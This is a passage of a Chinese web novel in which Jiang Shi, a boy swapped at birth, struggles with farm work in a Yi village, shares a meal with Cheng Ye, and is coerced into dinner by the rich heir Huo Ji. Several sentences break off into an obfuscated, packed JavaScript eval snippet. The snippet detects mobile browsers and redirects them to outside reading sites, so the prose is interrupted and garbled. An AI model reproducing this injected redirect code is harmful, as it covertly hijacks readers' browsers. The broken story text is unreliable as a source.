平日里江时在家都要睡到十点左右才起床,江雪故意把时间说早一点,让他好知难而退。 结果江时点点头,拎着书包进了屋,“我会起来的。” “……” 这糟心孩子。 - 第二天天一亮,江雪背着背篓打算出门。她没叫江时,也不觉得他能起来,更不需要他帮忙。 只是她人刚收拾好,江时就睡眼惺忪地站在门口看她,“你起了怎么不叫我?” 江雪:“……” 这孩子,到底受什么刺激了? 他坚持要去,江雪没办法,给他找了件平时干活穿的中性外套,带着他去了。 三月底,气温回升,虽然温度没那么高,但出了太阳还是会热。 江雪一个人忙不过来,请了高权两夫妻帮忙,高权顺道把高新和也一道拽了过来。 高新和跟江时站在地里大眼瞪小眼,“小表哥,你也来种地啊?” 江时身上套了件宽大的黑色牛仔外套,衣领里探出来的脖子纤细洁白,清晨的光落在他脸上,毛孔细腻得几乎看不见。 浑身上下透着和松软黄土地完全不相符的白。 高新和他妈姓刘,叫刘玉英,从小跟江雪一块长大。她人大概有一米七的样子,人如其名,整个人透着一股英气。 瞧见江时站在地里,她撞了江雪一下,用彝族话跟她交流,“不是我说你大雪,这地种不完慢慢种,叫孩子过来干什么?你看江时,那是能干活的样子吗?” 江雪人瘦,这一撞,撞得她骨头疼。她揉了揉腰,也用彝话跟她嘀咕,“我又没叫他来,也不知道昨天受什么刺激了,非要跟我来种地。” 江时听了一耳朵,两人讲话跟说外语似的叽里呱啦,他碰碰高新和,“她们说的是什么?” 江时非要来种地,高新和是一点活也不想干,只可惜他在他家毫无人权,人都没睡醒就被叫了起来。 他困得疯狂打哈欠,恨不得一头栽地里,“她们啊……讲的彝族话,我听到了,在蛐蛐你呢。” 他跟江时解释,“溪柳村都是彝族人,我们从小讲的都是彝话,所以大家普通话普遍都不好。” 之前来的时候江时听江雪说过,他生长在汉族的大环境里,很少见到这种少数民族聚集的村落,没想到有一天甚至还成为他们的其中一员。 他疑惑道:“那我怎么没听你们说过?” 高新和挠挠脑袋,“你又听不懂,我们肯定不在你面前说。而且现在不是流行汉语普及嘛,大家汉话说着说着就习惯了,很少在外面说彝语。” 除非是蛐蛐别人。 高权牵着牛爬上来,江雪和刘玉英止住话头,开始了一天的劳作。 江时分配到了最简单的工作,丢玉米种子。 很简单的工作,甚至都不需要他弯腰,只要估摸好距离,往犁出来的沟里一丢就行。 江时是第一次干这种活,头顶是湛蓝的天,脚下是松软的土地,地里站着为了一年的收成辛苦劳作的人,简单又纯粹。 风从脸上拂过的时候,他感觉自己整个人都放空了。 直到太阳爬上头顶,残留的水汽蒸发,阳光变得炙热。脚底松软的泥土被太阳晒得发干,脚一踩,细小的尘土飞扬。 江时能感觉到自己的鞋里进了土,手指被玉米上的红药水染得通红,指尖黏腻腻的,他连给自己擦汗都做不到。 汗水从细软的发丝里渗出,滑在眼皮上,江时眨了眨眼。 大家都在忙,忙着种完等清明的雨水,就连高新和都吭哧吭哧扛着一袋复合肥在地里走。 江时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223925|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬脚往前走。 他从来不知道自己能出这么多汗,后面实在受不了,抬起手,用江雪给他的牛仔外套胡乱擦了下脸。 他擦了一下,汗水还是黏腻腻的,刚想擦第二下,忽然一只手抓住了他的胳膊。 江时愣住,抬头,对上程野漆黑的眼。 装玉米种子的袋子被他捏得哗啦响了一声,被握着的手蜷缩了下指尖,几秒后江时才反应过来,“你怎么在这里?” 少年的脸被太阳晒得发红,汗水濡湿了额前的碎发,干净的脸被不怎么干净的衣服蹭上一道发灰的印记。 程野拽着他往旁边的香樟树下走去。 江时被他拽得趔趄,还没忘记自己要干活,“你干什么,我还没放完呢。” 程野的脸黑得吓人,“别放了。” “不是,你谁啊,你让我干嘛我就干嘛?” 程野扭头看了他一眼。 江时被他看得心头一跳,讪讪闭了嘴,后面又觉得气不过,悄悄在后面踹了他一脚。 脸色那么臭,吓唬谁呢。 程野把他身上那件不属于他的衣服扒下来垫在田埂上,然后推着江时坐下。 虽然很不情愿,可当太阳没照着,站了一上午的脚得到缓解时,江时还是悄悄松了口气。 他握了握染了色黏腻腻的手掌,眼前忽然蹲下来一个人,抓过他的手,拧开瓶盖倒水淋了下去。 江时下意识抽回手,“这是带来喝的水……” 程野拽着他纹丝不动,“我带了,洗手。” 江时乖乖洗了手。 洗完手,程野让他仰着头,用纸巾浸湿水,将他的脸擦干净。 少年额头前的头发全被他撩了上去,一张脸白里透着红,鼻尖点着颗黑痣,小脏猫终于又变干净了。 最后程野把浸着水的纸贴在江时被晒得通红的后颈上,“你被晒伤了,贴着,待会再拿下来。” 他低眸看着他后颈的红痕,没忍住骂了句,“蠢不蠢。” 江时跟装了弹簧一样立马弹了起来,“你……” 程野抬手,按下,“别动。” 江时:“……” 江时梗着脖子,气得又踹了他一脚。 程野看着自己裤腿上两个黄黄的脚印,“你今天犯错,还踹了我两次,我记着了。” 江时又是一脚,“怎么,你要跟我打架吗?” “三次,不跟你打,但我会通过别的方式讨回来。” “程野!我要跟你单挑!” 程野把扑腾起来的脑袋按回去,“你打不过我。” 江时:“……” 江时大声喊:“妈!程野欺负我!” 程野:“……” 江雪远远地:“怎么了?怎么了?江时,你有话好好跟程野说,欺负人家干什么?” 江时:“……” 到底是谁欺负谁啊? 程野从喉咙里泄出一声笑,终于松开了手。 他跟变戏法一样从衣服兜里掏出一瓶江时喜欢喝的饮料,又抓出一把把零食,想了想,将自己头上戴着的遮阳帽拿下来放在江时头顶。 他弯下腰,将帽子扶正,又把绳子系上。 “小少爷,我说了,你干不了活,乖乖坐着吃零食,剩下的交给我。” 20.第 20 章 太阳很大,黄牛犁完地后被拴在香樟树下,同样在树下面坐着的还有个江时。 绳子有些短,黄牛烦躁地刨了刨地,鼻子嗅来嗅去,一口咬住江时坐在屁股下面的外套。 江时被黄牛的动作吓得回神,瞅着近在咫尺的牛头,胆战心惊地把衣袖从它嘴巴里解救出来。 他拽着外套往远离牛的方向挪,怀里的零食滚了一地。 江时捡起果冻,捡起辣条,捡起奶糖,高新和端着牛粪在他跟前停留,“小表哥……” 他幽怨的眼神宛如实质,江时被他看得受不了,从怀里拿出一包零食,“你要吗?” 高新和举着自己被大粪污染的手,“你看我能吃吗?” 江时:“……” 如果他愿意的话。 没办法,江时剥开一颗奶糖,扶了扶对他来说有些大的草帽,很是嫌弃地靠近高新和,飞快往他张大的嘴巴里塞了颗糖进去,然后远离。 刚回原地坐着,就听见江雪在和程野说话。 “小程你干嘛呢,不需要你帮忙。” “没事。”程野一身蜜色的肌肉在太阳下舒展,“反正我也没别的事。” 江时看了程野一眼,男生的手臂线条结实流畅,抓起一袋肥料很轻松地就扛在肩上。他埋头走了两步,像是察觉到什么,站定朝江时这边望过来。 离远了看,江时发现他这张脸也很有冲击力,肤色是太阳浇灌出来的黑,身体里流动着同大地一样蓬勃的血液,彝族的基因让他的五官很深邃,像是在山里行走的猎豹。 程野,果然很野。 江时收回视线,给自己剥了颗糖。 熟悉的滋味在舌尖化开,这次的糖味道和以前一样,又好像不太一样。 十二点一过,空气逐渐变得闷热,再加上到了饭点,一行人决定回去吃饭。 江雪提前就把腊肉给炖上,回去煮了粥,随便炒两个菜就凑合吃午饭。 她的厨艺算不上好,做出来的菜对江时来说只能算勉强下咽。不过他一个吃别人做饭的人,没资格挑三拣四。 江时对炒的菜不感冒,腊肉吃了口就被咸得受不了,好在天气热,粥喝着还可以。 高新和捧着碗坐江时旁边小猪刨食,江时端着碗细细嗦了口。 刘玉英多看了江时两眼,“这孩子真文静,长得好看不说,吃饭也斯斯文文的,一点也不像我家新和。” 说着她一巴掌拍高新和脑袋上,“吃慢点,跟饿死鬼投胎一样,老娘在家少了你一口吃的?” 高新和捂着脑袋很委屈,“妈,我都放了一早上的粪了,放到现在感觉都快被牛屎腌入味了,你能不能对我好一点?” 刘玉英:“……” 江时端着碗默默离高新和又远了点,慢吞吞喝了口粥。 坐他旁边的程野看他半天也没吃完半碗饭,微微皱起眉头。 下午依旧要去种地,但大家这回说什么也不要江时跟着去了。 程野低头看了眼他脖子上的红痕,这么久过去还是没好,反而看起来更红了。 他把站在太阳底下的江时推到阴凉处,“你别去了,就在家里,我去帮。” 听他这么一说,江雪反而很过意不去,“哎哟,这哪行啊,再说了,你家不是还有地吗,帮我做什么……” “家里的地不种了。”程野道:“我打算租给别人种。” 他回来的确是打算把地种上的。他答应江时回来读书,没了经济来源,种地是他目前能想到的赚钱方式。 可种地需要投入的劳力成本太大,周期太长,回报太差,再加上他时间不允许,程野思考了一晚上,只得放弃家里的地。 虽然他手里还有九千多,可养一只金贵的小鸟,这点钱压根不够用。 他得想别的方法赚钱。 江时压根不知道程野在想什么,虽然他觉得自己没那么废材,但都不让他去,再抗议就显得他有些不识抬举了。 站了一早上,再加上晒了一早上的太阳,江时浑身发酸,后颈还火辣辣的,又疼又痒,他挠了挠,没怎么在意,回房间睡了个回笼觉。 醒来时是被门口的叫卖声喊醒的。 江时抱着大红被子有些发懵,门口的声音断断续续,他听不太懂,但能感觉到是在卖东西。 他汲着拖鞋开了门,发现门口下面的路边停着一辆小货车,车里放着一些干货水果,几个大娘正围着买东西。 江时看了几秒,回房间翻出江雪给他的零花钱。 这个季节正是菠萝上市的时候,便宜又新鲜。 江时买了两个,让老板把皮削了,回家用刀磕磕绊绊地切块,放盐泡上。 过了半小时,他拎着菠萝去了地里。 没了他的参与,种地进度飞快,他到的时候已经到了收尾阶段。 远远地,高新和就跟他挥手,“小表哥,你怎么过来了?” 江时晃晃手里的袋子,“给你们送吃的。” 地里的土太松软,江时刚换的干净鞋子,不想进去踩,只是在路口放大音量喊:“我买了菠萝,有人要吃吗?” 第一个响应的是高新和。 江时把竹签递给他,假装很不刻意地往程野那边看了眼。 男生背对着他,太阳将他黑色的衣服镀上一层金。 马上就种完了,谁都没心思吃东西,打算一鼓作气弄完再说。 江时折了树枝坐在田埂边,等着跟他们一起回家。 这时候的太阳没那么晒,照在人身上暖洋洋的。他眯着眼睛晒了会,后颈传来一阵刺挠的感觉,忍不住又伸手抓了抓。 “别挠了。” 旁边忽然出现的声音打断江时的动作,他扭头,发现程野不知道什么时候站在他后面。 “你怎么过来了?” 程野在他旁边坐下。 太阳在两人跟前西沉,身后是泥土的芬芳。 靠得近了,江时甚至能闻到程野身上劳作过后的汗味。说实话,并不好闻,可他双手撑地,汗湿的衣服紧贴在身上,肌肉的轮廓很明显,侧着脸看过来时,江时莫名读到了性感的味道。 他顿了顿,伸手戳了下程野的手臂,“你能不能离我远点,臭死了。” 就他那纤细的手指,程野结实的肌肉没怎么样,倒先把他的手戳疼了。 程野纹丝不动,“少爷,我帮你干活,你反而嫌弃上我了?” 江时抿着个唇,“我又没让你帮我。” “嗯。”程野淡淡道:“是我见不得少爷吃苦,死皮赖脸求来的。” 江时:“……” 他道:“程野,你烦不烦!” 程野笑了,直起来侧过身子,对着江时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程野想,要是他把心底的想法说出来,小兔子估计立马就跑没影了。 他捻了捻指尖上残留的膏药,老实道:“因为你给我钱了,两万块买了我,我肯定要什么都想着你。” 不等江时回答,程野看了看天色,“天黑了,少爷要送我回家吗?” 江时:“……” 对少爷提出这种要求,还有天理吗? 可最后江时还是去了。 程野家的屋子依旧很破,不过在江时的指指点点下,东西都扔得差不多,看起来干净许多。 程野拿了椅子给他坐下,弯着腰生了火。 火光点亮他的眼,他问江时,“肉目前没有,家里还有土豆和萝卜,吃吗?” 江时这才反应过来他在给自己做饭,他下意识拒绝,“我吃过……” “你没吃饱。”程野打断他,从柜子里翻出一根别人送的香肠,“还有点肉,煲仔饭吃吗?” “少爷,怎么一副欲言又止的样子?” “放心,不会让你饿着走出我家的。” 21.第 21 章 江时没见过程野做饭的样子,也不觉得他做饭会好吃。 跟前的男生长了张很有攻击力的脸,虽然他会在江时面前装狗,可绝大多数时间都是仗着自己的身高优势,居高临下地看人,别人才像那个狗。 比起做饭,他好像更适合在人堆里释放荷尔蒙。 当然,他要做,江时也没拂了他的好意。他看程野洗锅淘米,搬着椅子挪到角落的位置,拿出手机,打算玩两把游戏打发时间。 游戏还没点进去,他收到了张池的消息。 张池:【宋建安出事了。】 江时顿时坐直身体。 【发生了什么?】 张池直接给他打了个电话。 江时看了眼背对着他的程野,按了接听。 “我靠!江时,你是不知道事情有多精彩,宋建安把霍寂给打了!!” 张池说的每一个字江时都认识,可组合在一起他怎么也听不懂。 “不是?你是说宋建安把霍寂打了?宋建安?打霍寂?” 张池也才知道这件事没多久,拿着手机上跳下窜,表现得比江时激动多了。 “千真万确,好多人都看见了,据说宋建安当着全班人的面一拳揍在霍寂脸上。霍寂估计是没想到他会打他,直接愣在当场,等反应过来的时候宋建安人都走了。” 江时缓了好一会,“不是,他为什么要打霍寂?” “害!我上次不是跟你说,为了套你的消息,霍寂在他跟前装了两天好学生。本来这事过去也就过去了,结果霍寂那几个跟班,就是经常找你麻烦的那几个人,得了便宜还卖乖,舞到宋建安跟前去了。” “宋建安这人脑回路清奇,除了学习什么也不在乎。他刚转进三中的这段时间,少不了有人对他冷嘲热讽,可这哥直接当做听不见,那些人觉得没趣,渐渐地就不搭理他了。” “但这回他们把霍寂骗他的事捅出去了,还笑他蠢。本来还以为这次他也跟之前一样当做听不见,结果他转头就去了霍寂的班级。” 比起霍寂被打这种大快人心的事,江时更担心另一个问题,“那宋建安人怎么样了?” 说到这里,张池也有些沉默,“不清楚,下午的课没上就被宋家喊回去了。” 江城教育比林城严格,周六了还在上课。 旁边的砂锅在咕噜噜冒着泡,江时挂了电话,看程野揭开锅盖,往里面放配菜。 他有些纠结地咬着指甲,不知道该不该发消息问问宋建安怎么样了。 啃了不到几秒,手指就被另一只手抽了出去。 程野垂着眼看他,“江时,啃手可不是什么好习惯。” 江时试着抽了抽,他一动对放就松手了,然后传来程野的声音,“在纠结要不要问?想问就问。” 他一愣,“你听到了啊?” 程野淡淡道:“房间那么小,我又不聋。不过,过度的同情心泛滥可不是什么好事。” 江时皱了下鼻子,“可是他之前都没经历过这些……” “这都跟你没关系,这些是他父母应该担心的,而不是你。” 江时心疼宋建安没经历过这些,可谁又来心疼他?天堂地狱转换的,从来不是只有宋建安一个人。 - 宋家。 客厅里空气凝滞,孙婉云和宋博一人坐在一边,宋建安坐中间。 夫妻俩谁都没说话,宋建安撑着桌子站起来,“该说的我已经跟你们解释清楚了,没事的话我就回去写作业了。” 眼看着他就这么走了,宋博脸色铁青的呵斥了句,“站住!谁让你走了?” 宋建安回头,“你不让我走,又不说话,让我坐着里浪费时间吗?” “放肆!你看看你干的好事,还好意思走?” 宋建安皱了下眉头,似乎对父亲的暴怒感到不解,“我已经说了,他欺骗我在先,还在背后诋毁我的人格。我知道作为学生打人不对,我可以写检讨,但绝不会给他道歉。他这么过分,应该是他给我道歉才对。” 他如此理直气壮地说出这种话,宋博直接被他给气笑了,“好!好得很!不愧是我亲儿子,这些天给你上的课白上了。霍家是什么人,你又是什么人,谁给你的胆子打霍家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229948|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独子的?” “你知不知道我们和他家好不容易维持的关系,现在全被你给搞砸了!” 宋建安站得很直,他身上还穿着校服,就连拉链都按照学校的标准规规矩矩拉着。 面对宋博的指责,他也只是淡定的回望过去,“爸爸,他骗了我,他的朋友每天都来打扰我的正常生活,甚至还对我进行语言上的辱骂。” “其实那天我没想打他,我只是问他为什么要骗我,他毫无悔过之心,甚至还骂我蠢,说我活该。” “你的儿子在学校里遭受到了校园暴力,你非但不帮我,反而要求我跟施暴者道歉?” “校园暴力?”宋博冷笑一声,“我都跟你说了,别学宋时那样,在学校要跟他们打好关系,你不听我的就算了,甚至做得比宋时还要过分。暴力?什么暴力能有宋家的未来重要?” 宋建安感到很不可思议,“在您看来,孩子是用来换取钱的工具吗?” “建安……”一直没说话的孙婉云开口了,她的长相很柔美,说话时声音也温温和和的,“你刚来,可能还不是很习惯宋家的生活。你看看你现在穿的用的,哪样不是最好的?你想要什么爸爸妈妈都能给你买来,可相应的,得到这些东西,势必是要付出些什么的。” 她笑着摸了摸鲜红的指甲,“小时呢,跟你不一样,他比你笨,笨到什么都学不会,可你很聪明,你越聪明爸爸妈妈才能放心把宋家交给你。” “霍家现在在江城一家独大,得罪霍寂,对我们家只有坏处没有好处。你呢,就跟妈妈去给霍寂道个歉,之前你表哥不是说新出了款车吗,你乖乖道歉,妈妈送你辆车怎么样?” 宋建安站得直直的,“犯错的不是我,我不会去道歉的。” “简直是……”宋博伸手指着他,“不可理喻!冥顽不灵!亏我对你抱有很高的期待,现在看来,你连宋时也不如。” 宋建安道:“江时平日在家就是这样的吗?” 宋博和孙婉云皆是一愣,不明白他为什么忽然这么说,然后就听见宋建安微微叹气。 “那他过得挺辛苦的。” 22.第 22 章 程野做的饭竟意外的不难吃,对挑食的江时来说,甚至算得上好吃。 用木材小火煨出来的煲仔饭锅底带着一层焦黄的锅巴,程野拿着勺子一搅,猪油的香气、米饭、食材全混合在一起,江时不知不觉间吃了一大半。 后面实在吃不下,他把手里还剩一小半的砂锅往前推了推,“我不要了。” 程野吃他吃不完的剩饭。 晚风从支开的窗户里吹进来,两人头顶的灯光摇摇晃晃,灶台里,还没燃尽的木材发出噼啪的声响。 江时忽然觉得有些奇妙。 那时候年关刚过,江城的空气里还残留着鞭炮的硝烟味,家家户户门口的红灯笼还没来得及换下,地面积了一层厚厚的雪。 大年三十一过,宋家别墅只有江时一个人。他的父母永远都在繁忙,忙着赚钱,忙着各自的生活,在发现江时其实是个什么都学不会的笨小孩后,他们基本上就不会把目光放在他身上。 按道理,过了三十,江时只有十五的时候才能见到父母一面。 可初五那天,他的父母回来了。 宋博和孙婉云的脸色都算不上很好,看向江时的目光很复杂,最终也只是公事公办地把一份亲子鉴定放在江时面前。 “宋时,你不是我们亲生的。” 在那份亲子鉴定里,精明的夫妻俩为什么有个笨拙的小孩好像都有了解释。 没人顾及他的感受,十多年的相处对宋博和孙婉云来说好似一场梦。比起江时,他们更在乎自己这十多年来下落不明的亲生儿子。 江雪来得比江时想象的要快。 江城那天没了雪,但风很大,风尘仆仆的中年妇女狼狈地推开饭店的门。 他们就对视了一眼,眼泪就从江雪眼里滚落下来。 那是第一次有人为江时哭。 宋家不需要他,所以江时走得很快,十五才过,二月底,卸掉一身的荣华,迈进绿皮火车,坠入溪柳村贫瘠的黄泥里。 其实来的时候他也没对这边抱有什么期待,有钱人家都接受不了一个笨孩子,更何况是贫瘠的山区。 可到头来,却是这贫瘠的山区包容了他一切。在这里,没人用异样的眼光看他,这里的人没有高低贵贱,一切都是平等的。 他也没想到会在这种地方遇见程野这样的人。 他像个容器,接纳着江时的坏脾气,也接纳他这个人,好像在他跟前做什么都是可以的。 江时想得有些出神,没忍住喊了声程野。 “程野,你吃的我的剩饭不觉得脏吗?” “不会。”程野道:“小时候没人管我,我爸又经常不回家,家里没米了我只能去村子里讨饭。一开始大家还会同情我,后面时间久了,是个人都会不乐意,渐渐地,就只有些残羹剩饭。” 他说得很平常,将江时吃剩的饭一点点吃完,“我吃习惯了。” 江时愣住了,没想到是这样的情况,他骂:“你爸真不是个东西!” 程野笑了声,跟着附和,“的确不是个东西。” 骂完了,江时觉得以前的自己也不是个东西,他把程野手里的砂锅抢过来,“你以后不用吃剩饭了,饿了我给你买。” 程野眼神从对面少年轻咬着的唇上刮过,扬了下眉,“给我买?少爷有钱吗?” 兜里空空如也的江时嘴硬道:“当然有,我要是没有,能轻轻松松拿两万出来给你?” 砂锅上的油脂蹭到江时手上,程野把锅从他手里拿出去,又找了纸巾给他擦手。 少年指尖娇嫩,被程野家按斤称的粗糙纸巾一刮,红了一小片。 江时没什么感觉地收回手,倒是程野盯着那截指尖看了会。 他把纸巾攥成团握在手里。 “那个装钱的小盒子看起来有些年头,边缘棱角被磨得圆润,看起来主人应该经常抱在怀里摩挲,那里面装的应该都是他的宝贝。” “发生那么大的变故,来到溪柳村的这段时间你连个电话也没跟那边联系,甚至还担心宋建安,那看来你跟他们的关系不是很好。” “按照你的脾气,走的时候应该什么都没要吧?那么宝贝的盒子,里面就只装了两万。如果我没猜错,那两万就是你的全部家当吧?” “少爷,你如今这个样子,要拿什么请我吃饭?” 江时神色有些发怔,火光在他眼底跳跃闪烁,他侧过脸避开程野的目光。 “你瞎说。” 他嘴硬。 程野也不反驳他,“那你就当我瞎说。” 江时,“……” 江时道:“就你长嘴了,显得你多厉害似的,有本事把我钱还我。” “我没本事,我身上有没有钱你最清楚不过了。”程野舀了瓢冷水把燃着的柴火浇熄,问江时,“要出去坐坐吗?” 这两天天气好,外面繁星点点,月亮安静的挂着。 不过夜晚的温度还不是很高,江时单薄的长袖外面套了件程野的粗布外套,对程野来说有些小的衣服穿在江时身上却有些宽大。 衣服上一分钟还在程野身上,落在江时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241200|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩上时还染着另一个人的体温和味道。 江时拢着外套,总觉得穿着另一个人的衣服有些怪,没忍住偏过头嗅嗅,“程野,你抽烟吗?我怎么闻到一股烟味。” 程野将自己的外套往下拉了拉,省得粗糙的布料磨坏少年娇嫩的脖子。听见江时的话,他没否认,只是道:“你是小狗吗?” 江时瞪他:“喂!” 程野坐他身边,长腿没规矩地舒展,“是抽,偶尔点个一两根,坏学生的做派,少爷千万别学。” 江时小狗似的又闻了闻,然后皱眉,“臭死了。” “嫌臭啊?”程野看了他一眼,“以后不抽了。” 他说不抽跟喝水吃饭一样简单,江时才不信。他有些不爽地皱眉哼哼,“有钱买烟没钱还我是吧?” “真没钱。”程野往兜里一掏,掏出一块钱,“全身上下只有这么多,你要吗?” 江时真没想到有人能不要脸到这个程度,弄到现在,搞得他这个欠钱的才是大爷一样。 他一把拿过程野手里的一块钱,“一块钱也是钱,别以为钱少我就不要。” “记得,你还欠我一万九千九百九十九。” “记住了,我还欠你一万九千九百九十九。” 江时:“……” 他踢了程野一下,“你真的一点钱也没有?” “嗯,没有。” 现在没有,以后也不会有,江时这辈子估计都要不回那两万块钱了。 三月一过,转眼就到清明。 清明放三天,一到下午江时就蠢蠢欲动,一下课拎着书包就冲了出去。 程野跟在他身后,在拥挤的人潮里精准拽住江时的书包,把他勾回来,“那么着急干什么?” 江时被勾得往后一仰,眼睁睁看着自己落后别人一大截,他没忍住给了程野一下,“你拽我干什么?放假不积极,脑子有问题。” 这个点人挤人的,等到人少了程野才松开手,顺道把江时的书包拿过来,“急什么,人不会跑,假期也不会跑。” 江时要的就是这个着急的感觉,被程野这么一打岔,赶也赶不上了,只能黑着脸埋头一个人往前走。 高大男生拿着他的书包慢悠悠跟在他后面。 出了校门,江时打算去老地方坐面包车回家,结果才从校门口转个身,猝不及防对上一张脸。 霍寂不知道靠在树边等了多久,看见江时看过来,他掐灭手里的烟,直起身子,朝他露出一个笑。 “江时小宝贝,好久不见。” 23.第 23 章 江时脸上的温度瞬间冻结。 霍寂此人长得很张扬,头发半长微卷,肤色苍白,唇却很红,生了一双含情的桃花眼,不发疯的时候看谁都深情。举手投足里带着和小县城不相符的浪荡和多情,引得周围的人频频注目。 他像是感觉不到那些目光,穿过人群走到江时面前。 霍寂歪了歪头,右耳上的黑曜石无声闪烁,“江时,我说了,我们很快就会见面的。看,我没骗你吧?” 程野扣住江时的肩膀,上前一步当在他面前,黑眸盯着霍寂,“你是谁?” 两人目光隔空交汇,随即霍寂嗤了一声,像看杂草一样移开目光,“你找的跟班?什么时候这样的人也配跟在你身后了?” “霍寂。”江时目光发冷,“不说话没人把你当哑巴。” 霍寂也不生气,只是笑,“好久不见,我请你吃饭吧。我订了这边最贵的一家餐厅,点了你最喜欢的菜。” 江时从程野身后站出来,一把推开霍寂,“滚回你的江城去,我要回家,没时间跟你扯。” 霍寂看着江时头也不回地走远,他的手频繁地拨动着打火机的齿轮。 咔嚓—— 咔嚓—— 一米、两米…… 三米的时候霍寂脸上的笑终于没了,他阴沉着脸,看程野的背影将少年单薄的身躯覆盖。 “宋时。”他喊,“宋建安被关禁闭了。” 江时停住,然后扭头。 看他的目光落在身上,霍寂扯着唇又笑了,“宋家要出口的那批货是霍家供给的,马上就到交货的时候,宋建安把我打了,你说要是货忽然断了,宋建安会怎么样?” 江时缓缓皱起眉头,“你要挟我?” 天气阴沉沉的,似乎下一刻就要下雨,霍寂身上只穿了件轻薄的衬衫,风一吹,露出半截苍白消瘦的胸膛,唇色却红得仿佛能滴血。 “江时小宝贝,你知道的,除了你,别人的死活跟我有什么关系?只要你能跟我吃饭,宋建安这条贱命是死是活我不在乎。” 江时看向他,“只是吃饭?” 霍寂勾唇缓缓笑了,“当然。” 风又大了,学校门口行人寥寥无几,远处青山拔出新绿,清明的雨来得潮湿粘腻。 程野一开始只是沉默,直到江时朝霍寂那边迈了一步。 他伸出手,拽住江时的手腕,瞳孔很黑,黑色将他所有情绪压制。 “我跟你一起去。” 江时下意识想拒绝。 程野开口,“江时,我要跟你一起去。” 语气很淡,却不容拒绝。 江时也不是很想单独跟霍寂这个神经病在一起,他反手捏了程野的手一下,转头看向霍寂,“我可以和你去,但要带上他。” 霍寂这才正眼看向程野,“你是谁?” 程野目光平静的和他对视,“程野,江时的朋友。” “朋友?”霍寂上下扫了眼程野,露出一个意义不明的笑,“挺好笑的一个词。” 他把打火机塞回兜里,“想来就来,我很欢迎江时身边的每一个‘朋友’。” 包间订在离江时学校不远处最繁华的县城中心,最顶楼的位置,桌子旁边是巨大的落地窗,洁净的玻璃映出底下霓虹。 落后的林城也有了几分繁华的样子。 包间顶上是华丽的水晶灯,脚底是干净得能倒出人影的地板砖,年轻服务员化着素雅的妆容,引领着他们往前走。 哪怕程野和江时身上穿着同样的校服,可他开了胶、怎么刷都发黄的鞋子还是透露出少年人的窘迫。 霍寂坐在江时对面点了根烟。 他含着金汤匙出生,向来高高在上,连话都不用多说,有的是人做阅读理解。 霍寂唯一迁就过的人只有江时,可霍家公子头颅高贵,哪怕是迁就,也显得高高在上。 他就这么坐着抽烟,看到对面少年嫌恶的皱眉,笑着往后靠,“许久不见你这个样子,我还有些怀念。” 可他的笑还没维持几秒,嘴里的烟就被人拔了出去。 程野把烟掐了丢垃圾桶里。 霍寂懵了一瞬,紧接着胸口剧烈起伏,“你怎么敢……” 程野没什么不敢的,他压着眉盯着霍寂,“他不喜欢,要么掐了,要么滚出去抽。” 江时笑出了声,“霍寂,这里不是江城,没人排着队当你的狗腿子。” 霍寂当场就黑了脸,他握紧拳头就想站起来,结果刚一动,肩膀就被一只大手压住扣在椅子上。 那只手的力气如此之大,霍寂感觉自己的骨头都快被碾碎了,往看上,对上一双黑得深沉的眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15245959|165105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 霍寂的呼吸空了一拍,然后才想起来挣扎,“放开我,你知道我是谁吗?” “我知道。”程野手上的力道丝毫不减,“你是霍寂,我记得你。” 霍寂:“……” 他被程野摁得差点吐血,“你知道还敢这么对我?!” 回答他的只有肩膀上传来骨头被挤压的声音。 霍寂气急败坏地偏头喊,“宋时!” 江时这才慢悠悠的,“好了程野,把人捏坏了怎么办?” 